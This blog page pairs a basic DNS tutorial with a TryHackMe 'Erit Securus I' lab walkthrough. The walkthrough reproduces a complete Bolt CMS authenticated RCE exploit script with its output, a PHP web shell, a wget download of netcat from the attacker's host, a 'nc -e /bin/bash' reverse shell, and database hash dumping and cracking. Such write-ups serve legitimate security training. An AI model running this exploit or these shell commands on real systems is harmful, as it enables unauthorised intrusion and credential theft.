What is DNS?

DNS (Domain Name System) provides a simple way for us to communicate with devices on the internet without remembering complex numbers. Much like every house has a unique address for sending mail directly to it, every computer on the internet has its own unique address to communicate with it called an IP address. An IP address looks like the following 104.21.56.127, 4 sets of digits ranging from 0 - 255 separated by a period. When you want to visit a website, it's not exactly convenient to remember this complicated set of numbers, and that's where DNS can help. So instead of rememberin104.21.56.127, you can remember hackingtruth.org instead. DNS in full details

Domain Hierarchy

TLD (Top-Level Domain)


A TLD is the most righthand part of a domain name. So, for example, the google.com TLD is .com. There are two types of TLD, gTLD (Generic Top Level) and ccTLD (Country Code Top Level Domain). Historically a gTLD was meant to tell the user the domain name's purpose; for example, a .com would be for commercial purposes, .org for an organisation, .edu for education and .gov for government. And a ccTLD was used for geographical purposes, for example, .ca for sites based in Canada, .co.uk for sites based in the United Kingdom and so on. Due to such demand, there is an influx of new gTLDs ranging from .online , .club , .website , .biz and so many more. For a full list of over 2000 TLDs click here.

Also Read : How website works 

Second-Level Domain


Taking google.com as an example, the .com part is the TLD, and google is the Second Level Domain. When registering a domain name, the second-level domain is limited to 63 characters + the TLD and can only use a-z 0-9 and hyphens (cannot start or end with hyphens or have consecutive hyphens).



Subdomain


A subdomain sits on the left-hand side of the Second-Level Domain using a period to separate it; for example, in the name admin.google.com the admin part is the subdomain. A subdomain name has the same creation restrictions as a Second-Level Domain, being limited to 63 characters and can only use a-z 0-9 and hyphens (cannot start or end with hyphens or have consecutive hyphens). You can use multiple subdomains split with periods to create longer names, such as jupiter.servers.google.com. But the maximum length must be kept below 253 characters. There is no limit to the number of subdomains you can create for your domain name.
 

Root Domain "."

TLD .edu .org .gov .com

Second Level Domain mit, hackingtruth, usa, google, nasa, army etc

1) What is the maximum length of a subdomain?

Ans :- 63



2) Which of the following characters cannot be used in a subdomain ( 3 b _ - )?
 
Ans :- _


 
3) What is the maximum length of a domain name?
 
Ans :- 253



4) What type of TLD is .co.uk?

Ans :- ccTLD


 

Record Types

DNS Record Types


DNS isn't just for websites though, and multiple types of DNS record exist. We'll go over some of the most common ones that you're likely to come across.



A Record

These records resolve to IPv4 addresses, for example 104.26.10.229



AAAA Record

These records resolve to IPv6 addresses, for example 2606:4700:20::681a:be5



CNAME Record

These records resolve to another domain name, for example, google's online shop has the subdomain name store.google.com which returns a CNAME record shops.shopify.com. Another DNS request would then be made to shops.shopify.com to work out the IP address.



MX Record

These records resolve to the address of the servers that handle the email for the domain you are querying, for example an MX record response for google.com would look something like alt1.aspmx.l.google.com. These records also come with a priority flag. This tells the client in which order to try the servers, this is perfect for if the main server goes down and email needs to be sent to a backup server.




TXT Record

TXT records are free text fields where any text-based data can be stored. TXT records have multiple uses, but some common ones can be to list servers that have the authority to send an email on behalf of the domain (this can help in the battle against spam and spoofed email). They can also be used to verify ownership of the domain name when signing up for third party services.
What type of record would be used to advise where to send email?




1) What type of record would be used to advise where to send email?

Ans :- MX



2) What type of record handles IPv6 addresses?

Ans :- AAAA




 

Making A Request

What happens when you make a DNS request


1) When you request a domain name, your computer first checks its local cache to see if you've previously looked up the address recently; if not, a request to your Recursive DNS Server will be made.


2) A Recursive DNS Server is usually provided by your ISP, but you can also choose your own. This server also has a local cache of recently looked up domain names. If a result is found locally, this is sent back to your computer, and your request ends here (this is common for popular and heavily requested services such as Google, Facebook, Twitter). If the request cannot be found locally, a journey begins to find the correct answer, starting with the internet's root DNS servers.


3) The root servers act as the DNS backbone of the internet; their job is to redirect you to the correct Top Level Domain Server, depending on your request. If, for example, you request www.google.com, the root server will recognise the Top Level Domain of .com and refer you to the correct TLD server that deals with .com addresses.

4) The TLD server holds records for where to find the authoritative server to answer the DNS request. The authoritative server is often also known as the nameserver for the domain. For example, the name server for google.com is kip.ns.cloudflare.com and uma.ns.cloudflare.com. You'll often find multiple nameservers for a domain name to act as a backup in case one goes down.

5) An authoritative DNS server is the server that is responsible for storing the DNS records for a particular domain name and where any updates to your domain name DNS records would be made. Depending on the record type, the DNS record is then sent back to the Recursive DNS Server, where a local copy will be cached for future requests and then relayed back to the original client that made the request. DNS records all come with a TTL (Time To Live) value. This value is a number represented in seconds that the response should be saved for locally until you have to look it up again. Caching saves on having to make a DNS request every time you communicate with a server.

 
 
 

1) What field specifies how long a DNS record should be cached for?

Ans :- TTL



2) What type of DNS Server is usually provided by your ISP?

Ans :- recursive



3) What type of server holds all the records for a domain?

Ans :- authoritative

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



- Hacking Truth by Kumar Atul Jaiswal



I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

 

The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

TryHackMe Erit Securus I walkthrough


While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.
  

It seems like our machine got hacked by an anonymous threat actor. However, we are lucky to have a .pcap file from the attack. Can you determine what happened? Download the .pcap file and use Wireshark to view it.  TryHackMe h4cked walkthrough

Let's Start 

we can run a simple nmap scan to look for open ports and services - 

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit-tryhackme]
└─$ sudo nmap -A -T4 -Pn  -sV -vv  10.10.108.118                                                    
[sudo] password for hackerboy: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 16:05 IST
NSE: Loaded 153 scripts for scanning.
Initiating NSE at 16:05
Completed NSE at 16:05, 0.00s elapsed
Scanning 10.10.108.118 [1000 ports]
Discovered open port 22/tcp on 10.10.108.118
Discovered open port 80/tcp on 10.10.108.118
Completed SYN Stealth Scan at 16:05, 6.47s elapsed (1000 total ports)
Retrying OS detection (try #3) against 10.10.108.118
Completed NSE at 16:05, 0.00s elapsed
Nmap scan report for 10.10.108.118
Host is up, received user-set (0.23s latency).
Scanned at 2021-05-26 16:05:04 IST for 49s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 b1:ac:a9:92:d3:2a:69:91:68:b4:6a:ac:45:43:fb:ed (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPWmD4IaPbJQU46GEKX8pUal0IbZzIykktEuUh5boCKMuwsetNGanzNZYFd6eGWRd+zqr6nRnRFQPDiDZtt6DDz7NcJcXliGifQehWEEmskzfhdGSuh+kBUQaqXskCKZi0U/l9P0kvP6bD2SdsXqiYTBGQxN6a4Do1fyE2OoVYgPAAAAFQD4r+hmmsHGFfn0SV1mjGpoHpFwuwAAAIAnnoGwYiWDRAwFoPLkLYWahNwCbLAhVXOb1cnr8NxZN+uRMqEdtoZHNUbTd7ki8j5WpkZhMjFEyZQJg+MNQjUSxISlE1SoBTI8BmAUDAEvgPNyr0CDCS42rAY98JTMhaoZ8FOzgoatLmJWWgWqM+8YHCN4XHoVgm1vMagLsWxW5AAAAIBGW3tnTGis3+eWROnisRfyoo3zawOnd7oijjK7CAiIuxfqc3ESTzeLlkL0QBAIv/1PBGoZSTwg53aZqctO2/BgSNGMWDts3xnqpsEGNyo520Br/cBUyi6rRBotV1kL9tIT4VwdP33F/bjiHHRclfCmOtVYWmkst+HUSqS2yPn1WQ==
|   2048 3a:3f:9f:59:29:c8:20:d7:3a:c5:04:aa:82:36:68:3f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0zYWd7C1JANU5TctI7lB/tyS9Aid6x5Dh2PnD7fpz6C9Apv9Y/YJzaCUYgqME41ZDxIIiegV02OSCkKFmXvr9gVVKaFHyUVhQ9Zb3FyQeGgWEL3004HIL+G06afXPlsRzNBb5VoqUte+5bigJT5UkyncAfWn+8bWLnFmuXDi5PZ4Pz0RHx9HzCwJ5G26DogQUI6M0zQkhJHzD+nWdIExvoY1L9UN4oZzCuaUF3Tcel3dDnbgi1RaZlfFi3r5NNUtQ7OVijWnms7nYNN7b77CZZWMhE6yMYI8+3ya99CfzA/oYsHv+t8XSbRyAdm5KvETrD8yoBrE14F2FekQQNggx
|   256 f9:2f:bb:e3:ab:95:ee:9e:78:7c:91:18:7d:95:84:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAOH4ypeTzhthRbvcrzqVbbWXG1imFdejEQIo53fimAkjsOcrmEDWwT7Lskm5qyz4dmhGmfsH90xzOgQ+Bm6Nuk=
|   256 49:0e:6f:cb:ec:6c:a5:97:67:cc:3c:31:ad:94:a4:54 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK7iJO0KhscqLrJgy+mvB3Y+5U+WpOiBAxCr4TKu7pJB
80/tcp open  http    syn-ack ttl 63 nginx 1.6.2
|_http-generator: Bolt
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.6.2
|_http-title: Graece donan, Latine voluptatem vocant. | Erit Securus 1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/26%OT=22%CT=1%CU=33880%PV=Y%DS=2%DC=T%G=Y%TM=60AE248
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OPS
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 0.043 days (since Wed May 26 15:03:51 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   264.29 ms 10.8.0.1
2   264.52 ms 10.10.108.118

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.48 seconds
           Raw packets sent: 1306 (61.562KB) | Rcvd: 1134 (56.636KB)
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit-tryhackme]
└─$ 

From this result :-

port 22/tcp - SSH (openSSH 6.7p1)

port 80/tcp - HTTP (nginx 1.6.2)

Enumeration 

Examine webserver. Identify what web-app is running. The Content management system that the website is built on can ve found in the http-generator field of the nmap scan. This can also be determined by viewing the website via the browser and scrolling to the bottom of the page:-

Exploit 

Download exploit for this app. The exploit works, but might not fire every time. If you first don't succeed...

CVE - Exploit 

The exploit requires authentication, which means we will require a username and password to proceed. We could attempt to brute force this, but these credentials can be easily guessed using a few simple username/password combinations on the login page.

  # Exploit Title: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
# Date: 2020-04-05
# Exploit Author: r3m0t3nu11
# Vendor Homepage: https://bolt.cm/
# Software Link: https://bolt.cm/
# Version: up to date and 6.x
# Tested on: Linux
# CVE : not-yet-0day

#!/usr/bin/python

import requests
import sys
import warnings
import re
import os
from bs4 import BeautifulSoup
from colorama import init 
from termcolor import colored 
  
init() 
#pip install -r requirements.txt
print(colored('''
 ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄  ▄       ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄       ▄▄  ▄▄▄▄▄▄▄▄▄▄▄      
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░▌     ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌     ▐░░▌▐░░░░░░░░░░░▌     
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌      ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌   ▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀      
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌▐░▌ ▐░▌▐░▌▐░▌               
▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌ ▐░▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄      
▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌  ▐░▌  ▐░▌▐░░░░░░░░░░░▌     
▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌   ▀   ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌ 
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌       ▐░▌          ▐░ 
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌
 ▀▀▀▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀

Pre Auth rce with low credintanl
#Zero-way By @r3m0t3nu11 speical thanks to @dracula @Mr_Hex''',"blue"))



if len(sys.argv) != 4:
    print((len(sys.argv)))
    print((colored("[~] Usage : ./bolt.py url username password","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]



request = requests.session()
print((colored("[+] Retrieving CSRF token to submit the login form","green")))
page = request.get(url+"/bolt/login")
html_content = page.text
soup = BeautifulSoup(html_content, 'html.parser')
token = soup.findAll('input')[2].get("value")

login_info = {
    "user_login[username]": username,
    "user_login[password]": password,
    "user_login[login]": "",
     "user_login[_token]": token
   }

login_request = request.post(url+"/bolt/login", login_info)
print((colored("[+] Login token is : {0}","green")).format(token))



aaa = request.get(url+"/bolt/profile")
soup0 = BeautifulSoup(aaa.content, 'html.parser')
token0 = soup0.findAll('input')[6].get("value")
data_profile = { 
	"user_profile[password][first]":"password",
	"user_profile[password][second]":"password",
	"user_profile[email]":"a@a.com",
	"user_profile[displayname]":"",
	"user_profile[save]":"",
	"user_profile[_token]":token0

		}
profile = request.post(url+'/bolt/profile',data_profile)




cache_csrf = request.get(url+"/bolt/overview/showcases")

soup1 = BeautifulSoup(cache_csrf.text, 'html.parser')
csrf = soup1.findAll('div')[12].get("data-bolt_csrf_token")


asyncc = request.get(url+"/async/browse/cache/.sessions?multiselect=true")
soup2 = BeautifulSoup(asyncc.text, 'html.parser')
tables = soup2.find_all('span', class_ = 'entry disabled')


print((colored("[+] SESSION INJECTION ","green")))
for all_tables in tables: 
	
	f= open("session.txt","a+")
	f.write(all_tables.text+"\n")
	f.close()
	num_lines = sum(1 for line in open('session.txt'))
	
	renamePostData = {
		"namespace": "root",
		"parent": "/app/cache/.sessions",
		"oldname": all_tables.text,
		"newname": "../../../public/files/test{}.php".format(num_lines),
		"token": csrf
	   }
	rename = request.post(url+"/async/folder/rename", renamePostData)
	



	try:
		url1 = url+'/files/test{}.php?test=ls%20-la'.format(num_lines)

		rev = requests.get(url1).text
		r1 = re.findall('php',rev)
		
		r2 = r1[0]
		if r2 == "php" : 
			fileINJ = "test{}".format(num_lines)
			


			print((colored("[+] FOUND  : "+fileINJ,"green")))
		
	except IndexError:
		print((colored("[-] Not found.","red")))

new_name = 0
while new_name != 'quit':
	inputs = input(colored("Enter OS command , for exit 'quit' : ","green","on_red"))
	if inputs == "quit" :
		exit()
	else:
		a = requests.get(url+"/files/{}.php?test={}".format(fileINJ,inputs))
		aa = a.text
		r11 = re.findall('...displayname";s:..:"([\w\s\W]+)',aa)


		print((r11)[0])
            



  
  

if you want to renamed first so you can.

  ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ ls
48296.py
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ sudo cp 48296.py  exploit.py               
[sudo] password for hackerboy: 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ ls
48296.py  exploit.py
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ 


  
  

Gaining access

We are ready to run the exploit script against the target:

sudo python3 exploit.py http://<target IP> admin password

  
  ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ sudo python3 exploit.py http://10.10.108.118 admin password

 ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄  ▄       ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄       ▄▄  ▄▄▄▄▄▄▄▄▄▄▄      
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░▌     ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌     ▐░░▌▐░░░░░░░░░░░▌     
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌      ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌   ▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀      
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌▐░▌ ▐░▌▐░▌▐░▌               
▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌ ▐░▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄      
▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌  ▐░▌  ▐░▌▐░░░░░░░░░░░▌     
▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌   ▀   ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌ 
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌       ▐░▌          ▐░ 
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌
 ▀▀▀▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀

Pre Auth rce with low credintanl
#Zero-way By @r3m0t3nu11 speical thanks to @dracula @Mr_Hex
[+] Retrieving CSRF token to submit the login form
[+] Login token is : _AJfPiYG9NweZWcPHp4VBBTPffsYer938Wn9Dad6qho
[+] SESSION INJECTION 
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[+] FOUND  : test5
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[+] FOUND  : test15
[-] Not found.
Enter OS command , for exit 'quit' : 
                                                                      
  

Now we have access, we can create a simple PHP shell on the server:


echo '<?php system($_GET["cmd"]);?>'>cmd.php

[-] Not found.
[-] Not found.
[+] FOUND  : test15
[-] Not found.
Enter OS command , for exit 'quit' : id
uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                                           
";s:8:"*stack";a:0:{}s:10:"*enabled";i:1;s:17:"*shadowpassword";N;s:14:"*shadowtoken";N;s:17:"*shadowvalidity";N;s:15:"*failedlogins";i:0;s:17:"*throttleduntil";N;s:8:"*roles";a:2:{i:0;s:4:"root";i:1;s:8:"everyone";}s:7:"_fields";a:0:{}s:42:"Bolt\Storage\Entity\Entity_specialFields";a:2:{i:0;s:3:"app";i:1;s:6:"values";}s:7:"*_app";N;s:12:"*_internal";a:1:{i:0;s:11:"contenttype";}}s:8:"*token";O:29:"Bolt\Storage\Entity\Authtoken":12:{s:5:"*id";s:1:"3";s:10:"*user_id";i:1;s:8:"*token";s:64:"34e3f69a6fc2261d519381fba1f6b235abc31e4c27f7df4e2559812eaadd53fc";s:7:"*salt";s:32:"d34f9accf4805f6d1eb98f5d698722af";s:11:"*lastseen";O:13:"Carbon\Carbon":3:{s:4:"date";s:26:"2020-04-25 12:32:10.117842";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:5:"*ip";s:10:"172.17.0.1";s:12:"*useragent";s:22:"python-requests/2.23.0";s:11:"*validity";O:13:"Carbon\Carbon":3:{s:4:"date";s:26:"2020-05-09 12:32:10.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:7:"_fields";a:0:{}s:42:"Bolt\Storage\Entity\Entity_specialFields";a:2:{i:0;s:3:"app";i:1;s:6:"values";}s:7:"*_app";N;s:12:"*_internal";a:1:{i:0;s:11:"contenttype";}}s:10:"*checked";i:1587817930;}s:10:"_csrf/bolt";s:43:"Ji6slP_bySLAwmXIDIFpSa6VSGpYwnW2c-2Ik5nEcy0";s:5:"stack";a:0:{}s:18:"_csrf/user_profile";s:43:"lDGl_6zEExwY5SW63TUC0BS-v9JHoXhm9HeVpfFglDc";}s:12:"_sf2_flashes";a:0:{}s:9:"_sf2_meta";a:3:{s:1:"u";i:1587817932;s:1:"c";i:1587817929;s:1:"l";s:1:"0";}}
Enter OS command , for exit 'quit' : 

  

  
  Enter OS command , for exit 'quit' : echo ''>cmd.php
";s:8:"*stack";a:0:{}s:10:"*enabled";i:1;s:17:"*shadowpassword";N;s:14:"*shadowtoken";N;s:17:"*shadowvalidity";N;s:15:"*failedlogins";i:0;s:17:"*throttleduntil";N;s:8:"*roles";a:2:{i:0;s:4:"root";i:1;s:8:"everyone";}s:7:"_fields";a:0:{}s:42:"Bolt\Storage\Entity\Entity_specialFields";a:2:{i:0;s:3:"app";i:1;s:6:"values";}s:7:"*_app";N;s:12:"*_internal";a:1:{i:0;s:11:"contenttype";}}s:8:"*token";O:29:"Bolt\Storage\Entity\Authtoken":12:{s:5:"*id";s:1:"3";s:10:"*user_id";i:1;s:8:"*token";s:64:"34e3f69a6fc2261d519381fba1f6b235abc31e4c27f7df4e2559812eaadd53fc";s:7:"*salt";s:32:"d34f9accf4805f6d1eb98f5d698722af";s:11:"*lastseen";O:13:"Carbon\Carbon":3:{s:4:"date";s:26:"2020-04-25 12:32:10.117842";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:5:"*ip";s:10:"172.17.0.1";s:12:"*useragent";s:22:"python-requests/2.23.0";s:11:"*validity";O:13:"Carbon\Carbon":3:{s:4:"date";s:26:"2020-05-09 12:32:10.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:7:"_fields";a:0:{}s:42:"Bolt\Storage\Entity\Entity_specialFields";a:2:{i:0;s:3:"app";i:1;s:6:"values";}s:7:"*_app";N;s:12:"*_internal";a:1:{i:0;s:11:"contenttype";}}s:10:"*checked";i:1587817930;}s:10:"_csrf/bolt";s:43:"Ji6slP_bySLAwmXIDIFpSa6VSGpYwnW2c-2Ik5nEcy0";s:5:"stack";a:0:{}s:18:"_csrf/user_profile";s:43:"lDGl_6zEExwY5SW63TUC0BS-v9JHoXhm9HeVpfFglDc";}s:12:"_sf2_flashes";a:0:{}s:9:"_sf2_meta";a:3:{s:1:"u";i:1587817932;s:1:"c";i:1587817929;s:1:"l";s:1:"0";}}
Enter OS command , for exit 'quit' : 

  

This can then be used to upload a netcat reverse shell (as there is no netcat on the target machine). First, we will need to create a symbolic link to netcat on our local machine to the current directory on the target. Run this command via a local terminal:

ln -s $(which nc) .

  
  ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ ln -s $(which nc) .
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ ls                 
48296.py  exploit.py  nc  session.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ 


  

A simple web server can then be started locally in order to serve the file to the target:

Using the PHP shell we are able to download netcat to the target via the browser:

http://10.10.108.118/files/cmd.php?cmd=wget http://<local-IP>:8080/nc

The file will be transferred to the same directory as the PHP shell. We can make the uploaded netcat file executable by browsing to:

http://10.10.108.118/files/cmd.php?cmd=chmod 755 nc

Next, we need to start a netcat listener on our local machine:-

nc -nvlp 1234

Finally, we can trigger this connection via the browser to get our reverse shell:

http://10.10.108.118/files/cmd.php?cmd=./nc -e /bin/bash <local-IP> 1234

Our reverse shell can then be upgraded to a fully interactive TTY shell by running:


python -c 'import pty;pty.spawn("/bin/bash")'

  
  
www-data@Erit:/var/www/html/public/files$ ls 
ls
cmd.php                       placeholder_ecff05026ae6.jpg  test25.php
index.html                    test1.php                     test26.php
nc                            test10.php                    test27.php
placeholder_07f6539b3d7d.jpg  test11.php                    test28.php
placeholder_0a23551a8097.jpg  test12.php                    test29.php
placeholder_0aa7e8852e11.jpg  test13.php                    test3.php
placeholder_1fad82e5eac1.jpg  test14.php                    test30.php
placeholder_20001088e915.jpg  test15.php                    test31.php
placeholder_46f89a97453b.jpg  test16.php                    test32.php
placeholder_6a843969b527.jpg  test17.php                    test33.php
placeholder_7c21b25839bd.jpg  test18.php                    test4.php
placeholder_84f5c9d2e2c2.jpg  test19.php                    test5.php
placeholder_8a7754ace050.jpg  test2.php                     test6.php
placeholder_8ec2add549d6.jpg  test20.php                    test7.php
placeholder_9cf46a03a9c3.jpg  test21.php                    test8.php
placeholder_aa536d42187b.jpg  test22.php                    test9.php
placeholder_addfa01cba49.jpg  test23.php
placeholder_c45564b83b31.jpg  test24.php
www-data@Erit:/var/www/html/public/files$ 

  

Privilege Escalation

In the /app/database directory you will find the database file: bolt.db


cd ../../app/database
ls

  
  www-data@Erit:/var/www/html/public/files$ cd ../../app/database
cd ../../app/database
www-data@Erit:/var/www/html/app/database$ pwd
pwd
/var/www/html/app/database
www-data@Erit:/var/www/html/app/database$ ls
ls
bolt.db
www-data@Erit:/var/www/html/app/database$ 

The type of database can be determined by running: file bolt.db

  www-data@Erit:/var/www/html/app/database$ file bolt.db
file bolt.db
bolt.db: SQLite 3.x database, last written using SQLite version 3020001
www-data@Erit:/var/www/html/app/database$ 


  
  

We can access this SQLite 3.x database and run the .tables command to display the database tables:

  www-data@Erit:/var/www/html/app/database$ sqlite3 bolt.db
sqlite3 bolt.db
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> 

sqlite> .tables
.tables
bolt_authtoken          bolt_field_value        bolt_pages            
bolt_blocks             bolt_homepage           bolt_relations        
bolt_content_changelog  bolt_log                bolt_showcases        
bolt_cron               bolt_log_change         bolt_taxonomy         
bolt_entries            bolt_log_system         bolt_users            
sqlite> www.kumaratuljaiswal.in

  

The bolt_users table looks interesting, let's have a look at that:

SELECT * FROM bolt_users;

  
  
sqlite> SELECT * FROM bolt_users;   
SELECT * FROM bolt_users;
1|admin|$2y$10$0Z2xl2fs/9xe2HVEkqDZZ.COwXKfHtxsyT5qdHXuJB3XgR7TzeZQi||0|a@a.com|2021-05-26 05:47:53|192.168.100.1|[]|1|||||["root","everyone"]
2|wildone|$2y$10$ZZqbTKKlgDnCMvGD2M0SxeTS3GPSCljXWtd172lI2zj3p6bjOCGq.|Wile E Coyote|0|wild@one.com|2020-04-25 16:03:44|192.168.100.1|[]|1|||||["editor"]
sqlite> www.kumaratuljaiswal.in

  

Two users are listed - admin and wildone (Wile E Coyote). There is also an IP address of 192.168.100.1, which might come in handy later.

We're already admin, so let's try and crack the hash of wildone using JohnTheRipper and the rockyou wordlist.

First, copy the hash to a file and then run: 

we got it -

Once this completes, run the following to view the password, If the password is not visible


john --show hash.txt

This allows us to switch user to wileec and obtain the first flag:

Then, quit in sqlite -

.quit

change the user su wileec with password : snickers

This allows us to switch user to wileec and obtain the first flag:

  
sqlite> .quit
.quit
www-data@Erit:/var/www/html/app/database$ su wileec
su wileec
Password: snickers    

$ whoami
whoami
wileec
$ ls
ls
bolt.db
$ cd ~
cd ~
$ ls
